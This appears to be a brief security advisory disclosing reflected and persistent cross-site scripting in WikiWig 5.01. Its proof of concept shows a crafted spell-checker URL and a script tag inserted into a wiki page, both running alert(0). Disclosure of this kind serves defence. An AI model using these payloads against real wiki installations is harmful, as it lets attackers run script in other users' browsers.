Source: http://packetstormsecurity.org/files/view/99363/wikiwig501-xss.txt

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Software................WikiWig 5.01
Vulnerability...........Persistent/Reflected Cross-site Scripting
Threat Level............Moderate (2/5)
Download................http://wikiwig.sourceforge.net/
Disclosure Date.........3/10/2011
Tested On...............Windows Vista + XAMPP
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Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
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--Description--

A persistent/reflected cross-site scripting vulnerability in WikiWig
5.01 can be exploited to execute arbitrary JavaScript.


--PoC--

Reflected:
http://localhost/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E

Persistent:
Create a user account. Edit any page and add script tags.

<script>alert(0)</script>